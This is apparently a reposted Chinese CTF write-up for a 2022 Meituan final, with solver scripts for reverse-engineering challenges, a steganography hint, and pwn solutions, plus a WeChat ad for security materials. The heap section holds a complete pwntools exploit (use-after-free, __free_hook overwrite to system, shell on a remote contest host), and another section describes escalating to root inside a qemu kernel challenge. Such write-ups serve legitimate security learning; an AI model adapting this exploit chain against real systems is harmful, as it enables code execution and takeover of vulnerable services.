Reverse

ROP

解析data的ROP,一点一点还原

from pwn import *
opcode = open('data', 'rb').read()
opcode_gadget = opcode[0x30+8:]
for offset in range(0, len(opcode_gadget), 8):print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')

提取出来密文,转成64位的

cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40]
cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little')  for i in range(0,32,8)]

分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种

地址 效果
0x4011D6 异或两个64bit
0x401233 变种的异或,配合0x4011d6就是swap
0x401332 两个64bit相减
0x4013EE 检查输入是否满足uuid格式
0x401480 提取uuid中32位字符到bss段数组
0x40125D 两个64bit相加

流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算

然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1]

最后对比密文跳转结果

照着指令写一个逆回来的过程

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186};
void add(int i,int j){bss_flag[i] -= bss_flag[j];
}void sub(int i,int j){bss_flag[i] += bss_flag[j];
}void xor1(int i,int j){bss_flag[i] ^= bss_flag[j];
}int main(){sub(0x0,0x7);add(0x1,0x5);sub(0x3,0x7);add(0x0,0x5);add(0x0,0x7);sub(0x3,0x7);add(0x0,0x5);xor1(0x2,0x5);xor1(0x2,0x5);sub(0x3,0x7);sub(0x2,0x6);xor1(0x0,0x7);add(0x2,0x4);add(0x1,0x4);xor1(0x1,0x7);xor1(0x0,0x7);sub(0x0,0x5);sub(0x0,0x7);sub(0x0,0x5);add(0x1,0x7);xor1(0x1,0x5);add(0x1,0x6);sub(0x1,0x4);xor1(0x2,0x4);add(0x1,0x4);sub(0x0,0x6);sub(0x2,0x7);add(0x1,0x6);sub(0x2,0x5);add(0x0,0x7);xor1(0x3,0x6);add(0x2,0x4);xor1(0x0,0x6);xor1(0x0,0x5);xor1(0x3,0x7);xor1(0x0,0x4);xor1(0x2,0x5);xor1(0x2,0x6);xor1(0x2,0x6);xor1(0x3,0x4);xor1(0x0,0x7);xor1(0x2,0x5);xor1(0x0,0x4);xor1(0x3,0x5);xor1(0x1,0x6);xor1(0x3,0x7);xor1(0x0,0x4);xor1(0x1,0x4);xor1(0x2,0x7);xor1(0x1,0x7);xor1(0x0,0x4);xor1(0x2,0x6);xor1(0x0,0x5);xor1(0x1,0x7);xor1(0x0,0x5);xor1(0x0,0x4);xor1(0x3,0x6);xor1(0x1,0x7);xor1(0x2,0x5);xor1(0x0,0x7);xor1(0x0,0x7);xor1(0x2,0x4);xor1(0x3,0x4);xor1(0x3,0x7);printf("%s",(char *)bss_flag);// flag{eb4781b3-e3c5-475e-8af4-2fa50468f485}
}

【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

crackme

go语言,一开始我ida还f5反编译不了,换了个才可以,难顶

直接sm4加密和rc4,sm4密钥写死在代码里

rc4的key在linese.txt里,密文也在里面

exp:

from binascii import unhexlify
from Crypto.Cipher import ARC4
from sm4 import SM4Keyc= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518')
key = b'd0cac74c1bbeea071817360e491585e8'
cipher = ARC4.new(key)
m = cipher.decrypt(c)
key0 = SM4Key(b'xc08asb890ajds0a')
print(key0.decrypt(m))

Misc

What is that

stegsolve直接切换几个通道就可以看到

pwn

hello

直接网上查到kernel pwn qemu 的非预期

ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat flag就可以

heap

一个UAF+数组上溢出

这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。

from pwn import *
context.log_level='debug'
#p=process('./pwn')
p=remote('47.95.8.59',42283)
elf=ELF('./pwn')
#libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6')
libc=ELF('./libc.so.6')def add(size):p.sendafter(b'>\n', b'1')p.sendafter(b'add?\n', str(size).encode())def dele(index):p.sendafter(b'>\n', b'2')p.sendafter(b'up?\n', str(index).encode())def edit(index,size,content):p.sendafter(b'>\n', b'3')p.sendafter(b'write?\n', str(index).encode())p.sendafter(b'write?\n', str(size).encode())p.sendafter(b'Content:', content)def show(index):p.sendafter(b'>\n', b'4')p.sendafter(b'review?\n', str(index).encode())show(-11)
p.recvuntil('Content:')
probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008
arraddr=probase+0x4060
add(0x10)
add(0x10)
add(0x10)
dele(0)
dele(1)
dele(2)
edit(1,8,p64(arraddr))
add(0x10)
add(0x10)
add(0x10)
edit(2,8,p64(probase+elf.got['puts']))
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(2,8,p64(free_hook))
edit(0,8,p64(system))
add(0x10)
edit(3,8,b'/bin/sh\x00')
dele(3)
p.interactive()

2022美团CTF个人决赛WP相关推荐

  1. [CTF]2022美团CTF WEB WP

    最终排名 easypickle 源码 import base64 import pickle from flask import Flask, session import os import ran ...

  2. 【2022 DSCTF决赛wp】

    2022 DSCTF决赛wp Web ezjava newweb_new safe_script_new Misc Esc@pE_ASt_Reverge_d Crypto tomic Pwn gono ...

  3. 【CTF WriteUp】2023数字中国创新大赛网络数据安全赛道决赛WP(1)

    2023数字中国创新大赛网络数据安全赛道决赛WP(1) 比赛感想 不多说了,还是菜,各种不会,还得学 数据安全题目 Crypto-ddddmm import os from Crypto.Util.n ...

  4. 12月18日23点,2022年卡塔尔世界杯决赛,阿根廷对阵法国,上演巅峰对决,谁能捧走大力神杯?

    12月18日23点,2022年卡塔尔世界杯决赛,阿根廷对阵法国,上演巅峰对决,谁能捧走大力神杯? 锁定CCTV5,见证大力神杯的归属 决赛:阿根廷VS法国_大咖陪你看世界杯|2022年世界杯_央视网( ...

  5. TAMU ctf pwn部分wp+赛后

    TAMU ctf pwn部分wp 国外的题目,终端连不上就很gan ga...... Tr*vial 大水题,栈溢出,ret2text exp from pwn import *context(arc ...

  6. ACM SIGIR 2022 | 美团技术团队精选论文解读

    今年,美团技术团队有多篇论文被ACM SIGIR 2022收录,这些论文涵盖了观点标签生成.跨域情感分类.对话摘要领域迁移.跨域检索.点击率预估.对话主题分割等多个技术领域.本文精选了10篇论文做简要 ...

  7. CVPR 2022 | 美团技术团队精选6篇优秀论文解读

    CVPR 2022 | 美团技术团队精选论文解读 计算机视觉国际顶会CVPR 2022近日在美国新奥尔良召开,今年美团技术团队有多篇论文被CVPR 2022收录,这些论文涵盖了模型压缩.视频目标分割. ...

  8. 2022年暑期CTF刷题WP(停止更新)

    目录 攻防世界 MISC simple_transfer Reverse simple-unpack logmein getit Bugku MISC 社工-进阶收集 这篇博客用来记录我(一个菜鸡)2 ...

  9. 2022 SWPUCTF Web+Crypto方向wp

    文章目录 2022 SWPUCTF WP web 欢迎来到web安全 easy_sql happy_rce do_not_wakeup newnew baby_pop happy_php easy_x ...

  10. CVPR 2022 | 美团技术团队精选论文解读

    计算机视觉国际顶会CVPR 2022近日在美国新奥尔良召开,今年美团技术团队有多篇论文被CVPR 2022收录,这些论文涵盖了模型压缩.视频目标分割.3D视觉定位.图像描述.模型安全.跨模态视频内容检 ...

最新文章

  1. 备份CSDN博客正文到本地存档
  2. Powershell管理系列(十一)Exchange完全访问权限邮箱的设置
  3. css怎么设置圆角背景,CSS新特性:圆角边框多栏Gird布局背景设置
  4. elastic-job 的简单使用
  5. access exex控制pc_ownCloud/Nextcloud文件访问控制(Files Access Control)
  6. 李牛(Linux)脚本
  7. python爬虫url参数有随机数、如何确定是正确的链接_Python爬虫知识点——请求
  8. raster | R中的栅格操作符(下)[翻译]
  9. tf.gradients ---错误FetchargumentNonehasinvalidtype
  10. 淘客十大常用网站,成为大牛的起点
  11. 松翰单片机SN8P2711AD实现AD转换的C语言程序例子
  12. 【论文笔记】Proofs-of-delay and randomness beacons in Ethereum-2017IEEE SB Workshop
  13. java 二维码原理以及用java实现的二维码的生成、解码
  14. B站小甲鱼零基础python视频P57爬取煎蛋网OOXX妹纸图代码修改
  15. KMP字符串模式匹配算法【精简代码模板】
  16. 《Microsoft SQL Server入门教程》第02篇 SQL Server 下载与安装
  17. 图片压缩软件大全-免费图片压缩软件排名
  18. 数据库oracle审计,Oracle数据库审计策略
  19. 移动宽带无法连接微软服务器,无法连接到移动宽带 - Windows Client | Microsoft Docs...
  20. 远程桌面连接凭据不工作怎么办?

热门文章

  1. 如何在Excel选取想要的数据(特定行)
  2. Excel表格数据如何批量乘以一个数字
  3. 整数进制转换技巧以及相关算法题讲解(简洁易懂)
  4. mysql索引失效情况
  5. 微信小程序操作数据库
  6. 关于URL的转码与解码
  7. 输入法变成繁体后改回简体中文
  8. opa847方波放大电路_用运算放大器获得三角波、正弦波、方波的简易实用电路
  9. 英语语法篇 - 动词的分类和形式
  10. neural-style风格迁移模型实战